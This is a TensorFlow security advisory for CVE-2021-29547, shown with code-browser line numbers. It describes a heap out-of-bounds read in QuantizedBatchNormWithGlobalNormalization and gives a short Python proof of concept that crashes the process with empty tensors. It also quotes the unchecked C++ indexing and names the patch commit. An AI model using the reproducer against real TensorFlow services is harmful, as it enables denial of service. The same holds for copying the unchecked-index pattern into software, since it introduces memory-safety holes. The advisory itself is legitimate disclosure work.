xref: /aosp_15_r20/external/tensorflow/tensorflow/security/advisory/tfsa-2021-035.md (revision b6fb3261f9314811a0f4371741dbb8839866f948)
1## TFSA-2021-035: Heap out of bounds in `QuantizedBatchNormWithGlobalNormalization`
2
3### CVE Number
4CVE-2021-29547
5
6### Impact
7An attacker can cause a segfault and denial of service via accessing data
8outside of bounds in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`:
9
10```python
11import tensorflow as tf
12
13t = tf.constant([1], shape=[1, 1, 1, 1], dtype=tf.quint8)
14t_min = tf.constant([], shape=[0], dtype=tf.float32)
15t_max = tf.constant([], shape=[0], dtype=tf.float32)
16m = tf.constant([1], shape=[1], dtype=tf.quint8)
17m_min = tf.constant([], shape=[0], dtype=tf.float32)
18m_max = tf.constant([], shape=[0], dtype=tf.float32)
19v = tf.constant([1], shape=[1], dtype=tf.quint8)
20v_min = tf.constant([], shape=[0], dtype=tf.float32)
21v_max = tf.constant([], shape=[0], dtype=tf.float32)
22beta = tf.constant([1], shape=[1], dtype=tf.quint8)
23beta_min = tf.constant([], shape=[0], dtype=tf.float32)
24beta_max = tf.constant([], shape=[0], dtype=tf.float32)
25gamma = tf.constant([1], shape=[1], dtype=tf.quint8)
26gamma_min = tf.constant([], shape=[0], dtype=tf.float32)
27gamma_max = tf.constant([], shape=[0], dtype=tf.float32)
28
29tf.raw_ops.QuantizedBatchNormWithGlobalNormalization(
30  t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,
31  v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,
32  beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,
33  gamma_max=gamma_max, out_type=tf.qint32,
34  variance_epsilon=0.1, scale_after_normalization=True)
35```
36
37This is because the
38[implementation](https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc#L176-L189)
39assumes the inputs are not empty:
40
41```cc
42const float input_min = context->input(1).flat<float>()(0);
43const float input_max = context->input(2).flat<float>()(0);
44...
45const float mean_min = context->input(4).flat<float>()(0);
46const float mean_max = context->input(5).flat<float>()(0);
47...
48const float var_min = context->input(7).flat<float>()(0);
49const float var_max = context->input(8).flat<float>()(0);
50...
51const float beta_min = context->input(10).flat<float>()(0);
52const float beta_max = context->input(11).flat<float>()(0);
53...
54const float gamma_min = context->input(13).flat<float>()(0);
55const float gamma_max = context->input(14).flat<float>()(0);
56```
57
58If any of these inputs is empty, `.flat<T>()` is an empty buffer, so accessing
59the element at index 0 is accessing data outside of bounds.
60
61### Patches
62We have patched the issue in GitHub commit
63[d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b](https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b).
64
65The fix will be included in TensorFlow 2.5.0. We will also cherrypick this
66commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow
672.1.4, as these are also affected and still in supported range.
68
69### For more information
70Please consult [our security
71guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
72more information regarding the security model and how to contact us with issues
73and questions.
74
75### Attribution
76This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu
77X-Team.
78